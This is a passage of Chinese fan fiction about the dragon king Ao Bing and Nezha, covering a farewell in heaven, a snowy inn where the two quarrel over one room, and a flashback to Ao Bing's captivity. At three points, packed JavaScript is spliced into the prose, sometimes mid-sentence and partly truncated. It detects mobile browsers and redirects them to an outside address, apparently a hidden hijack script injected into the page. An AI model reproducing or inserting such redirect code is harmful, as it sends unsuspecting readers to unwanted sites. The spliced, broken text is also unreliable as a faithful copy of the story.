哪吒眉眼弯起,笑如初阳破云,明晃晃的,是少年人特有的炽热与直白。琼花再盛,仙草再灵,也不及他这一笑鲜活生动。 他朝龙君招手:“敖丙,这边!” 敖丙对上那双纯粹的黑眸,心跳倏地漏了一拍,然后做了件此生所做的、最蠢的事—— 他转身缩步,重新退回了洞门外,将自己藏在了柱后。 动作快得连他自己都未及反应。 待蹲定了,脸颊贴上冰凉的柱面,敖丙才蓦然清醒,耳根烧起大片的绯色。他在做什么?活像只受惊的蚌,一见天光便慌慌张张合了壳。 敖丙咬住下唇,齿尖陷进软肉,尝到淡淡的血腥味。 蠢,真是蠢透了。 他千年修行、一方龙王,居然因旁人的一个笑就失态至此。 敖丙重新站直身子,整了整绒毯,强迫自己端出往日的仪态,抬步再次踏入庭院。 “本帅还道你贪眠误了时辰,正要使人去东海催请呢。” 哪吒的声音穿过琼花雨传来,少年勾起唇角,露出的小虎牙尖尖,方才令人胆寒的杀神气息荡然无存。 敖丙走近几步,“抱歉,有些事耽搁了。” 他的目光落在哪吒左腕,禁仙咒的淡黑痕印衬着皮肤,像一道刺眼的枷锁。恰在此时,龙蛋在绒毯下动了动。 “这是……”哪吒的视线也跟着落下,落在鹅黄锦袱裹着的圆圆一团。 敖丙原本不愿将龙蛋放入储物囊中,只想贴身护着。现在见哪吒问起,心想横竖日后对方总要知晓,自己不如直说了罢。 “元帅,这是我的孩子。” 少年神将的表情空白了一刹,墨瞳空茫,唇瓣动了动,喃喃重复,“你的孩子?” “是。我这孩儿先天不足,经年累月无法孵化。此番下凡不便将他独留龙宫,只得带在身边,还望元帅海涵。” 海涵什么? 海涵他私自携带幼子?海涵突如其来的拖累?还是海涵这颗龙蛋存在的本身? 哪吒的神色肉眼可见地难看起来,那对星眸中的光彩渐渐黯了,整个人泥塑般呆在原地。 敖丙只当他不悦,将龙蛋揣紧些:“若有不便……” “无妨!”哪吒忽扬声打断,面上强扯出笑,“本帅岂会与稚子计较。” “铛铛铛——惊喜!!” 忽地,赤橙黄绿青蓝紫如暴雨倾盆,七色绸带混着闪闪发光的金箔,劈头盖脸洒了满庭。雷震子从檐角一跃而出,展开双翼,笑得见牙不见眼。 然后对上了敖丙一双冷浸浸的眸子。 在彩带、金片坠落的瞬间,敖丙急急将龙蛋护在了胸前。他左手掐诀,撑起个琉璃似的结界,将喧嚷金雨尽数隔在外头。 “我、我不是故意的,敖丙!”雷震子慌得手脚并用,想从屋檐上跳下来解释,却因动作太急脚底一滑。 砰地巨响,堂堂雷部正神就那么结实地摔在了砖地上。 雷震子龇牙咧嘴地揉着翅膀,又对上敖丙的眼神,急得语无伦次,“我、我真不知道你带着孩子。我就是想给哪吒送个行,热闹热闹……” 敖丙看着他扶着腰爬起的狼狈样,胸中那口气忽然泄了大半。 怨什么? 这人向来如此莽撞,千年前在周营便是这般,开心的时候能掀翻整个校场,哪会思虑周全? 思及至此,敖丙撤去了结界,各类饰物飘飘扬扬地落在他肩头、发梢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117030|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哪吒可没这么好运。 他被封了法力又毫无防备,红衣上挂满彩带,连发髻的莲花铃里都嵌入几片金箔,精心打扮的模样被毁了大半。 哪吒无语地瞪着雷震子:“你发什么疯?” “好心给你饯行,反倒落个不是!”雷震子从地上爬起来,委屈巴巴,“你怎么不识好人心呢?” 哪吒瞥了眼身侧的敖丙,龙君虽撤了结界,可面色依旧沉凝,他抱着襁褓,倒像只护崽的仙鹤。瞧着温雅,实则谁若近前,怕是要被啄上一口的。 这场面未持续许久,庭院里忽涌进乌泱泱一群人。 为首一位宫装妇人,云鬓堆鸦,面容慈和,眉眼与哪吒有三分相似。 殷素知看见幺儿满身彩带的模样就笑出声来,又替他仔细摘去发间杂物:“你这孩子,要下界也不吭一声,娘连行李都来不及替你备。” 李靖立在几步外,目光隐晦地扫过敖丙。他在鹅黄色绒毯上停留了瞬,却终究未发一语。金吒、木吒并肩站在父亲身后,瞧着弟弟这副滑稽模样,忍俊不禁。 “三弟这是要去哪儿唱戏?”金吒揶揄道。 杨戬缓步跟在最后,凉凉补刀:“他怕是觉得凡间不够热闹,要亲自去添些彩头。” 众人围着哪吒说笑叮嘱,庭院里顿时热闹起来,俨然一家人送别的光景。 敖丙立在圈外,他默默地抱紧龙蛋,往后退了半步。 太吵了,孩子会怕。 于是他唤来那名仙童:“劳烦,封了我的法力。” 仙童应了声,引着敖丙往庭外走去。龙君背影单薄极了,仿佛一株随时会折的孤竹。 哪吒张口欲唤,却被木吒揽住了肩膀。 “看什么呢三弟?娘问你话呢!” …… 殿外,天光明澈。 敖丙小心地将龙蛋换到右臂中,接着伸出自己的左手。他的腕骨利落,撑起一片雪腻的肌肤。然而其上新旧伤痕交叠,有深有浅,化作了经年累积的淡色瘢痕。 仙童大吃了一惊,但他飞快地收敛情绪,专心开始施咒。黑色符文喷薄而出,渐渐绕上敖丙的腕。 咒成,黑光全然消散,留下和哪吒如出一辙的墨印。 仙童松口气,抬眼看向敖丙。这位龙王安静地抱着怀中襁褓,面容清冷,似霜雪堆玉人。 见状,童子忍不住多言了几句:“您和中坛元帅倒是急切。按例领旨后,宽限七日下凡也是常事。” 敖丙闻言一怔:“七日?” “是呀。”仙童笑道,“下凡诸事繁琐,总要打点行装、交代职务。二位这般次日就动身的,小仙还是头回见。” 敖丙从未在天庭领过职司,自然不知这些规矩。昨日他随口扯了明日启程的借口,只因心系龙蛋安危,想尽快离开这是非之地。 怎料哪吒没有提缓行的事,反而一口答应下来。 原来是可以等的吗? 敖丙望向庭院内,哪吒已经重新束好发,正被金吒往怀里塞护身法宝,一脸不耐却又乖乖站着。 光辉落在他身上,红衣灼艳,笑靥明亮,与满庭喧闹是如此的相契。 一道殿门,隔开两重天地。 似是察觉到敖丙的目光,哪吒远远望来。他身后的赤绫梢头憨态可掬地摆了摆,像条见了主人的小犬在摇尾。 敖丙慌忙收回视线,不自觉地摩挲着腕间的咒印。 但愿他没给那人添太多麻烦。 7. 雪地 敖丙重新回到庭院,彼时喧嚷未歇,铺成了一幅欢聚的画卷。 当中并没有他的位置。 敖丙选了张离人群最远的木椅坐下,眼观鼻、鼻观心,只盼时辰快些,能早些离开这个是非之地。 “这位小友可是东海敖丙?” 昔日的女将军着了身淡紫常服,云鬓斜簪一支金凤,通身气质英武又兼了几分温婉。 “晚辈正是。”敖丙起身,规规矩矩行了一礼,“青莲殿下安好。” 他记得这位夫人的神职:天庭二公主“青莲”,封神之战时因思凡被贬下界,投胎到殷商王族。 这样算来,哪吒和杨戬还是表兄弟的关系。 “不必多礼,唤我殷夫人便是。”殷素知虚扶一把,视线自然地落在敖丙身上。 “听哪吒说此番下凡处理的皆是非同小可的聊斋异事,想来很是凶险。”殷素知回身指向三个风格迥异的儿子,“你看我这三个孩儿虽说脾性天差地别,但都在我身边平平安安地长大了。” “小友既要下凡涉险,带着孩儿终究不便……不如将孩儿暂托于我?旁的我不敢夸口,但照料孩童总归是有些心得的。” 一时间,敖丙差点脱口应下。 眼前这位床头婆婆是天下婴孩的守护神,更是哪吒的生母、龙蛋血脉相连的祖母。若将龙蛋托付于她,确实比跟随自己下凡要安全百倍。 只是龙蛋需精血喂养,离了自己恐生机渐绝。而且蛋壳五百年未破,教殷夫人见了岂不骇异?若她追问起生父来历,自己又该如何作答? “多谢您的好意。”敖丙将绒毯裹得更严实些,“只是我这孩儿先天不足,离不得爹爹。还是带在身边亲自照料,更安心些。” “此事,倒是我唐突了。”殷素知见他这般防备,笑着打了圆场,“小友若在凡间遇着什么难处,尽管传信天宫。哪吒这孩子莽撞却最是重情义,定会护你们父子周全。” 敖丙垂首应了声“是”,不再说话。 殿内静默。 哪吒自始至终没有出声,只是若有所思地看着母亲和敖丙。 有什么地方…不对劲。 方才母亲提出照料孩子,他分明看见敖丙蓝眸中闪过的动摇。可下一秒,动摇又被决绝尽数取代。 为什么? …… 笑语渐歇,日头升得高了。 敖丙见时辰不早,又恐再留下去徒增尴尬,于是起身向哪吒道:“时辰不早,元帅若已妥当,不如就此启程?” 哪吒颔首:“好。” 一字落下,满庭喧哗皆息。 殷夫人上前为儿子整了整衣襟,李靖开口嘱咐:“凡间不比天庭,万事谨慎。” 金、木俩吒亦收笑颜,杨戬则是抛来了一枚玉符,“遇险的时候捏碎,可以暂破禁制三息。” 敖丙望着这一幕,暗叹:龙蛋里的孩儿若得家人这般疼爱,该是什么样的光景? 可惜天命弄人,有些缘法终是强求不得。 - 仙童见敖丙怀中紧抱龙蛋,不敢怠慢,施法的时候格外轻柔。 他掐诀念咒,袖中飞出两道霞光,一青一赤,如春水托着落花徐徐将人送下界去。不过须臾光景,二人身影再也瞧不见了。 殷素知望着云霭处,幽幽叹道:“许久未曾见着哪吒以少年相貌行走了,上次这般模样还是五百年前的事。” 雷震子随口附和:“我记得原来哪吒下界常常爱化作少年模样?” “何止下界之时,这孩子从来都是个爱鲜亮的。”殷素知以手支颐,眼中泛起追忆的怅惘,“八百年前他在云楼宫也总爱维持十五六岁的形容,问他缘故只说是‘嫌成年法相太过板正,不如少年身量轻便,下界办事便宜’。” “其实我知道他是贪那几分自在:不必端着元帅的威仪,不必时时谨记一千七百杀戒,遇见路旁卖糖人的老翁,还能蹲下来挑个孙猴子模样的。” 杨戬天目虽阖,却看出了端倪:“此番化作少年相,只怕不全是为着自在。” 雷震子眨眨眼:“莫不是故意变小些,好叫那敖丙少些惧怕?” 杨戬默然片刻,才道:“或许真意在此。毕竟他二人当年……” 话至此,他却似被什么哽住喉间,再寻不出妥帖的词句。 金吒轻叹一声:“往事不可追,而今这样也好。” 满庭皆是明白人,唯独木吒不明就里,憨笑道:“你们在争论什么?横竖都是三弟,不过换身皮相罢了。我倒觉着他少年模样更顺眼,看着精神。” 殷素知瞧着次子如此懵懂,心下又是好笑又是无奈。这孩子心性质朴,于人情世故上总缺根弦,也不知是福是祸。 她没有点破,摩挲着腕间一只翡翠镯子——这是哪吒封神将后,用头回俸禄为她打的:“那孩子护得那样紧,倒让我想起哪吒刚出生的时候,我也是这般谁也不让碰。” 李靖沉默片刻,道:“龙族少主,不易。” “阿靖,你说那龙蛋莫不是……” 话音未落,李靖上前握住了她的手:“素知,有些事心里明白就好,何必说破?” 当年封神旧事旁人或许只知皮毛,不过,李靖身为托塔天王岂会全然不知?只是天机幽微,知道得越少、越安稳。 “母亲。”金吒温声打断,“三弟既已忘了前尘,或许正是天意。有些事不知道反是福分。” 杨戬把玩着手中的折扇,冷哼一声:“福分?只怕是劫数未满。” 闻言,旁边的雷震子收起那对墨蓝色羽翼,平日最是跳脱的一个人,这会儿蔫蔫的似霜打的茄子。 木吒左看看、右瞧瞧,急得抓耳挠腮:“你们打得什么哑谜?倒是说清楚啊!” “爹、娘,三弟才醒转几日,前尘往事俱忘了干净。此番下界,他性子又是个爆竹似的,可怎么周全自身?”无视掉旁边跳脱的木吒,金吒适时提醒,“敖丙瞧着也是个冷清的性子,未必能照应三弟。” “哎呀?!”殷素知闻言拍额,面上懊恼之色渐浓,“光顾着瞧那小娃娃,倒把要紧事忘了!” 木吒忙宽慰道:“母亲勿忧,孩儿过些时日便下界探望,总不至教他们吃了亏去。” “去瞧瞧也好。这两人搁在一处,谁知会生出什么变故来?”杨戬收起折扇,挂在腰间,“莫要重蹈覆辙。” 木吒见气氛又凝滞起来,忙岔开话头:“说来,方才敖丙护着孩子的模样倒让我想起之前杨婵姐抱沉香的景象。” 杨戬眸光幽深,却没有接话。 金吒轻笑:“龙族子嗣本就珍贵,何况是先天不足的。他紧张也是常情。” “只是……”雷震子忽然想起什么,皱着眉说,“那孩子既离不开爹爹,又为何偏要带着下界?留在东海岂不是更安稳?” 这话问得直白,却戳中了众人心中所想。 殷素知和李靖对视一眼,皆在对方眼中看到同样的思量:若非万不得已,哪个父亲会带着病弱婴孩奔赴险境? 杨戬终于开口:“或许……是不得不带。” 恰此时,一阵风卷起满地琼花,如雪如絮。 众人立在花雨中,望着空荡荡的传送阵所在各怀心思。远处天钟悠然敲响,铛铛铛。 “罢了,多想无益。待木吒下界时多看顾些便是。”金吒率先打破了沉默,“爹、娘,孩儿还需去通明殿当值,先行告退。” 殷素知点头,目送长子离去。她瞥见杨戬亦转身欲走,连忙唤住他:“二郎。” 杨戬驻足。 “你天目通玄,可观过去未来。”殷素知走近两步,“我只问一句……他们此去是吉是凶?” 杨戬沉默良久。 云影在他清俊的面容上掠过,明暗交错。最终,他缓缓摇头:“天机混沌,哪怕是天目也难窥全貌……夫人可还记得,当年哪吒伤重归来时太乙师叔说过什么?” 殷素知愣住了。 五百年前,哪吒被混天绫裹着送回乾元山,浑身浴血,莲花化身几近溃散。太乙真人闭关七日,方才保住他一丝元神。 出关那日,老道只对守在外头的李靖夫妇说了句没头没尾的话。 “痴儿种因,苦果自尝。待来日红莲再开……只怕又是一场劫数。” 当时两人只当是说哪吒杀孽太重,如今想来—— “不行,”殷素知声音发颤,“我得去趟乾元山。” 李靖按住她的肩,阻拦道:“素知!” “我要问个明白!”殷素知转头,眼圈稍稍泛红,“那孩子若真是……怎能流落在外?你瞧敖丙那副身子骨风一吹就能倒似的,怎么照应得好?” 这话说得急,字字如珠溅玉盘。 木吒仍云里雾里,见母亲如此情状,明智地不敢多问。 杨戬:“夫人莫急。太乙师叔若肯说,当年便说了。既不肯说,现在去问也是枉然……何况哪吒既已忘了前尘。” 殷素知颓然,她似被抽去了所有骨头,瘫回木椅中。 是啊。忘了。 李靖上前,握住她冰凉的手:“罢了罢了。孩子们自有他们的命途,我们这些做长辈的,多看顾些便是。” 待杨戬化作清光一道,离了九重天,殷素知才倚向夫君臂膀,轻声道:“但愿哪吒此行平安。” - 人间。 正值隆冬,雪片似扯絮搓棉,铺天盖地而来。镇中屋舍戴上银冠,长长一条道早积了尺许厚的雪,街巷间连半个行人也无。 夜色浓如泼墨,长街悬着一溜灯笼,仿佛谁将星子采来,用金线串了挂在檐下。 敖丙自幼长居深海,没有见过这般雪景。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117031|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >寒气侵肌透骨,他不由得打了个寒颤。一开口,呵出团团白气:“元帅,天色已晚,雪又大,我们不如先寻个客栈落脚?” 哪吒打量着周遭,闻言随口应道:“好。” 他说着从豹皮囊中翻出一件雪白狐裘来,抖开了就往敖丙肩上披。 狐氅极厚实,领口的银狐毛拥着敖丙下颌,将他纤瘦身形裹得圆圆润润,肩背蓬起,似只毛茸茸的白熊崽儿。 哪吒瞧着有趣,唇角弯了弯,自己又取件赤狐披风系上。 墨发红裘,额间朱砂似血,少年意气在凛冽风雪中不减反增,亮烈得叫人移不开眼。 “多谢。”敖丙低声道,长睫上已沾了细碎雪晶。 “龙王不必客套。”哪吒系好披风带子,转头看来,神色随意,“既然在人间,身份不宜外露,往后我们便以名姓相称罢。” 敖丙应了声。 那两个字在唇齿间滚过,太熟悉,也太陌生。敖丙的唇瓣嗫嚅了下,怎么也发不出声。 二人深一脚、浅一脚往街心行去,雪地绵软,踏上去咯吱作响。 路面原是石砖铺就,经年累月被磨得光滑,覆上冰雪后更加湿滑难行。敖丙抱着龙蛋,走得格外小心,不料行至一处缓坡处,他脚下一滑,整个人向前倾去—— “当心!” 哪吒眼疾手快,伸手扶住了对方。 敖丙慌乱中紧紧抱住襁褓,另一手本能地抓住哪吒小臂。他站稳身形,才发觉自己五指扣在哪吒那件红黑交织、镶着金边的箭袖上。 玉似的指尖嵌入衣料,将云锦抓出凌乱的皱褶。 不知怎的,哪吒心头忽地一跳。 敖丙见他睫羽微颤,想起这人最厌烦琐,慌忙松手退后半步:“多谢元……多谢你相助。” “前头似有灯火,”哪吒抬手一指,岔开话头,“去看看罢。” 敖丙整了整狐裘,欲要前行。 谁知才迈得两步,脚下又是一滑。这回没有摔倒,却也趔趄着晃了几晃,险险稳住身形。他垂首看去,才发现是因为脚下这双青缎攒珠靴。 这等料子最是光滑,踩在雪上像踩了层油,自然站得不稳当。 雪片子沾在发上也来不及拂去,敖丙蹙眉盯着靴尖。他想要更换靴子,却又为难。 怀中龙蛋离不得身,若置之于地,雪寒侵骨如何使得?若抱在怀中换鞋,单手又怎么施为? 于是,敖丙咬咬牙:“元帅……可否暂代抱一抱孩儿?” 这话说出来,他自己先愣了愣。 方才在任务司中雷震子不过洒了些彩带、金片,他便如临大敌般布施结界;殷夫人温言相托,他亦断然拒绝——现在却要将视若性命的龙蛋交到这人手中。 哪吒亦是讶异,看向那团鹅黄襁褓:“好。” 说来也奇,龙蛋入了哪吒怀之后安安静静的。或许是因为雪夜天寒,蛋中灵胎本就不足,受了寒气开始休眠。 敖丙松了口气,挪到一处背风角落换了双短靴。 待他换罢回来,哪吒仍抱着龙蛋立在檐下。赤狐披风上落了薄薄的雪沫,衬得红色愈发明艳。 敖丙准备接回龙蛋,却听哪吒说:“我抱着罢。这雪地难行,你且跟稳了。” 敖丙本欲推辞,但看到哪吒的步履沉稳,雪地印下的脚印深浅均匀,比自己稳妥得多。于是他轻声道谢,随在了对方身侧。 二人并肩而行,一个红如火,一个白似雪,中间隔着几尺距离。 行了数步,哪吒怀中的襁褓动了动。只见鹅黄绒毯敞开一角,露出里头真容。他瞧出是颗粉盈盈的椭圆蛋儿,蛋壳上生着些水波状的纹理。 除此之外,并无稀奇之处。 哪吒看着、看着,愈发觉得这蛋儿形状笨拙,颜色也俗艳,像是民间年画上那些胖娃娃怀里抱的福寿桃,不过少了些灵气。 而那抹碧荷色身影银发如瀑,衣袂飘举,不染半点尘俗。 两相对照,哪吒得出了结论: 这蛋配不上他爹。 他素来不是个藏话的性子,心里想着什么,嘴上就漏了出来:“这劳什子……怎生这般丑模样?” 敖丙肩背倏地绷直了,他声音发颤,也不知是气的还是冻的:“你说什么?” 哪吒自知失言却又不肯服软,只别过脸嘟囔道:“本帅又没说错。这般粉团团、圆滚滚像个未熟的果子,哪里好看了?” “你——”敖丙抢上两步,伸手要夺回龙蛋,却被对方躲过了。他凤眸湿润了些,强压着情绪,“他还小……自然不比旁人。” 僵持间,蓦然传来一声呼喝。 不远处,木楼悬了块黑漆匾额,上面刻着“菲来客栈”。 大门半开,一个伙计探出头来,朝这边张望:“二位客官可是要住店?这大雪天的,外头冻煞人哩!” 8. 摊牌 两人行至客栈大门。 伙计提着灯笼,将光往两人脸上照了照,不由得哎呦一声。只见面前两人一个红衣灼灼如烈火,一个碧衣泠泠似寒潭,俱是仙姿玉貌,不似凡俗中人。 那伙计是个有眼力的,脸上冻得通红,也不忘招徕客人:“二位客官快请进——这大雪封路的天气,能寻着住处便是造化!” 店内炭盆烧得正旺,伙计将两人引到柜台前,边拍打着肩头落雪,边赔笑道:“只是不巧得很,小店今日只剩一间上房了。” 语罢,伙计又偷眼觑了觑两人神色:“客官莫怪,实在是近日张员外家嫁女。四里八乡的亲友都来贺喜,偏赶上这场百年不遇的大雪,就都困在镇上了……方圆十里的客栈怕是都住得满满当当。” 说着他打量两人,虽然并肩而立,中间却隔着三尺有余,不似寻常结伴而行的友人。反而像庙里并排供奉的两尊神像,各守各的香火,各受各的供奉。 伙计心下忖度着,又添了句:“这间上房原是张员外外甥定的,今早家里来人接了回去,这才空出来。若是寻常日子,断不会这般紧俏。” “雪夜难行,二位若是不嫌弃便将就挤一挤?到底是上房,床铺宽敞,再添个暖榻也是使得的。” 哪吒面上不显,一颗心已翻腾起来。他抬眼去看敖丙,脑中已转过了七八个念头。 敖丙瞧着瘦怯怯的,怀里还抱着个龙蛋,自然该睡床。 自己呢? 是学那些凡间话本里的君子,主动让出床铺睡地上,还是—— 这念头方起,哪吒耳根不由得热了起来。 听爹娘说他自幼在军营长大,和金吒、木吒挤过通铺,与雷震子、杨戬抵足而眠更是常事,从不觉得有何不妥。可想到要与敖丙同寝…… 哪吒不由自主地看向敖丙,那人低头在解系带,银发从肩头垂落,露出小半截白玉似的颈子。 灯火葳蕤,勾勒出敖丙缱绻的侧影,像名家笔下的水墨图,淡极始知花更艳。 可若是…若是敖丙愿意同榻而眠呢? 哪吒莫名想起瑶池偏殿那天,混天绫将两人缠在一处。当时敖丙虽惊虽怒,那双凤眸却始终清凌凌的,就那么看着他,没有半分畏怯。 是了。 说来也奇,自他苏醒这些日子,所见神官仙童无不对他敬畏有加。一千七百杀戒的威名、封神战场的凶煞早将他塑成一尊令人望而生畏的煞神。 因此,无论行走天庭抑或访友昆仑,那些仙官神将见了他多半是远远避开,行礼时眼神躲闪,显是忌惮他的身份。 可敖丙不一样。 初遇时,这人声声“元帅”唤得恭敬,可行礼时腰板挺得笔直,目光清正。而且敖丙太多用的是“我”——平起平坐的称谓,而非“小仙”、“小王”。 甚至东海提亲之时,面对自己那般孟浪言语,敖丙也只是垂眸避过,没有露出半分惊惧嫌恶。 他不怕我。 这念头如野火燎原,烧得哪吒心口发烫。 再想敖丙如今孑然一身,带着个没娘的孩儿。既未与那人生死相守,可见缘分浅薄。 自己既撞见了,合该替那人分忧才是。 哪吒醍醐灌顶,胸中涌起一股近乎悲壮的豪情:他要替那个不负责任的死人,好生照顾这对孤儿鳏夫! …… 这厢哪吒心神荡漾着,那边敖丙已取了银钱付账。 伙计欢天喜地接了,引二人上了二楼。 推门而入,可见一床一榻,屏风隔出个小厅,窗下摆着张梨木书案。案上汝窑瓶里插着几枝红梅,被屋中炭火烘烤着,暗香浮动。 敖丙将狐裘解下,小心地接过哪吒怀中的龙蛋,探了探绒毯内的温度,方松了口气。他转身看向仍立在门边的哪吒:“元帅自去另寻住处罢。” “……”哪吒一愣,“为何?” “中坛元帅金尊玉贵、身份非凡。”敖丙垂眸,“小仙不过东海罪臣,怎敢与元帅同室而居?委屈了元帅,小仙担待不起。” “这镇上客栈都已住满,你让我去何处寻?”哪吒气笑了,他往前半步,几乎贴着敖丙站定,“况且方才伙计也说了,将就挤一挤便是。” 见敖丙不答,哪吒递出一个台阶:“本帅不介意。” “可我介意。”敖丙袖中的手收紧,他望着眼前尚带少年气的脸。 这人明明将前尘尽数遗忘,为何偏偏又这般固执地要挤进他的命里? 像是宿命开的恶劣玩笑。 敖丙背抵着门框,默然良久,忽道:“不瞒元帅,小仙喜好男风。” 话音落,满室寂然。 窗外雪落无声,炭火爆出噼啪声。 哪吒如遭雷击,呆立当场,像是听不懂这话。半晌,方讷讷道:“断、断袖?” “正是。”敖丙似豁出去了,“龙族本为上古神裔,先天便具雌雄同体之相。我…我确是男子身,亦心慕男子。故此独居为妥,以免污了元帅清誉。” 哪吒脑中嗡的一声,许多零碎片段串联起来:偏殿里那抹甜香、胸前濡湿的衣襟……还有襁褓中的这颗粉圆的龙蛋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117032|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这孩子……”哪吒不由得脱口而出,“莫非是你——” “是我所生。”敖丙截断了他的话,颊边浮起极淡的绯色,不知是羞是恼,“所以元帅明白了?你我同居一室,实在多有不便。” 哪吒愣在当场,胸中翻江倒海。 他一面惊愕,这龙君瞧着清清冷冷,居然能孕育子嗣?一面又是莫名涌起的敬意,那人既去,他独自产子育婴该是何等艰辛? 想到那死了的伴侣,哪吒不由得怒火中烧:生而不养,死而不顾,真真负心薄幸之徒!既让敖丙受了这般苦楚,为何不早早娶过门? 想着想着,视线下意识地飘向敖丙腰腹。 碧荷色长袍束着纤腰,细伶伶的一把,行动之时衣料总贴着腰线,哪里像生养过的? “他怎敢…”哪吒喃喃,墨瞳中燃起火光,“既让你受这般苦楚,又怎能早早撒手人寰?!” 他一步上前,握住了敖丙的手腕:“你告诉我,他是谁?纵是死了,本帅也要掀了他的坟冢,问他为何不负责任!” 敖丙瞪大眼看着哪吒,像是看着什么不可理喻的怪物:“元帅在说什么?” “我说——”哪吒声音低了下来,却更沉,“你不该受这些苦。那个人既已不在,从今往后,本帅会护着你、护着这孩子。” 哪吒心潮澎湃,视线再次落到了敖丙腰间。 待看清对方目光后,敖丙蓦地明白了。霎时间,他从耳根到脖颈红成一片,既羞且恼:“元帅在看什么?!” “我……”哪吒张口欲辩。 “出去!” 话未出口,只觉一股柔劲推来。敖丙真动了手,将他往门外推去。哪吒一时不防,踉跄退到廊下,还未站稳,便听砰的一声响。 房门在眼前重重闭合。 “敖丙,你听我解释……” “请元帅另寻住处!” 哪吒立在廊下,听着屋内传来落栓的声音,半晌没回过神来。雪从敞开的窗涌入,沾湿了火红的赤狐裘。 大厅里传来打更声,梆梆两响,已是二更天。 终于,哪吒一步一步踏下木梯。 柜台后的伙计见状,颇为诧异:“客官这是……” “出去走走。”哪吒丢下这句话,推门步入风雪中。 长街寂寂,绯衣少年独自走在雪地里,一步一个深印。 走着走着,哪吒忽觉颊边一凉。他抬手抹去,发现是化了的雪水混着别的什么湿意。 “怪事。”他喃喃自语,“本帅怎么会……” 9. 龙角 千年前封神战起,烽火连天。 周商两军厮杀惨烈,寻常将士大多战死直登封神台,唯有少数身份特殊的例外。譬如敖丙这般东海龙族嫡系、掌兴云布雨的正神,杀不得,也放不得。 起初,姜子牙亲自来过,鹤发童颜的老者隔着铁笼温言劝降,言及“天命归周,龙族当顺时应势”。 后来是文王姬昌、武王姬发,再后来是黄飞虎、南宫适…… 劝降者的身份一路走低,到最后,连黄天化、杨戬、雷震子等小辈也来走了个过场。 敖丙手脚俱扣着镣铐,通身灵力被封得死死的。他蜷在铁笼角落,任谁说话他都像没听见,仿若一个漂亮的、失了魂的人偶。 他心中明镜似的,周营必是要拿自己和东海谈判的。既如此,那他便等着。 可敖丙没等到谈判那日,先等来了饥渴。 行军粮草本就不丰,将士们日日操练厮杀,分到的口粮尚且勉强果腹,谁还顾得上敌营俘虏? 负责送饭的老卒起初还按时给敖丙递些粗饼浊水,后来见上头不闻不问,索性克扣起来。三天一顿,清汤寡水,比喂马的草料都不如。 敖丙生在龙宫,自破壳起一直是锦衣玉食,不曾尝过饥饿的滋味。 他开始还强撑着龙族的体面,端坐如仪。半月后,敖丙饿得头晕目眩,连抬手的力气都没了,只是软软地伏在笼底。 “喂。” 一道红影拨开芦苇,晃了进来。 是个少年。 瞧着不过十六七岁,身量未足,却已见挺拔的轮廓。绯衣箭袖,墨发用红绸带扎成两个高高的发髻,额间一点朱砂痣明艳。 他手里抓着只油亮亮的烤鸡腿,三两步蹦过来,蹲在笼前,歪头打量敖丙。 确切地说,是打量额前冰蓝色的龙角。 在东海,角是尊贵血脉的象征,龙族素来以此为荣。敖丙那时尚未隐藏龙角,一双角自银发间探出,丫丫杈杈,如玉雕冰琢。 “哎,”少年开口,“你这角……我能摸摸不?” 这人真是好生无礼,敖丙暗自腹诽。 龙族规矩,角是至敏至贵的地方,即使父王、兄长也不会触碰—— 唯有结成连理的伴侣方可亲近。 可他饿极了。 “可以。”敖丙看向少年所持的鸡腿,油光红亮,香气丝缕飘来,勾得他胃中绞痛,“但我有个条件……我要你手里那个。” 少年愣了愣,举起鸡腿:“这个?可我吃过了。” “无妨。”敖丙答。 什么洁癖什么体统,在饥饿面前不堪一击。 “成!”少年爽快地应下,将鸡腿从栏杆的缝隙递进去,“给你。” 敖丙接过来,然后凑到笼边稍稍低头,将龙角贴近铁栏。 幼龙的角尚未完全长开,勾勒出稚嫩的弧度,尖端圆润。少年摸得兴起,从根部捋到角尖,又捏了捏分叉处。 “还挺软。”他嘀咕,发现了什么新奇玩意似的,“冰凉凉,像玉,又像…果子冻?” 龙角被外人如此抚弄,酥麻的异样感直窜脊椎。敖丙耳畔嗡嗡作响,催促道:“还、还没好么?” “快了快了。”少年又摸了一把,这才恋恋不舍收回手,“好了。” 重得自由,敖丙立刻缩回笼角,捧着鸡腿吃起来。 纵使饿得狠了,他仍不失仪态,小口咀嚼,不露齿、不发出声响,只是速度比平日快了许多。 待吃完,敖丙发现少年还蹲在笼外,托腮看着他。 眉心朱砂似火,那双墨黑的眸子澄澈、灿亮,身后的红绫随风翩跹。 敖丙抿了抿干裂的唇,顺杆往上爬:“我渴了许多日了,你能……” “他们不给你水喝?” 少年不问还好,一问,敖丙心中莫名添了几分委屈。他点了点头,蓝眸含烟蓄雾般看向对方。 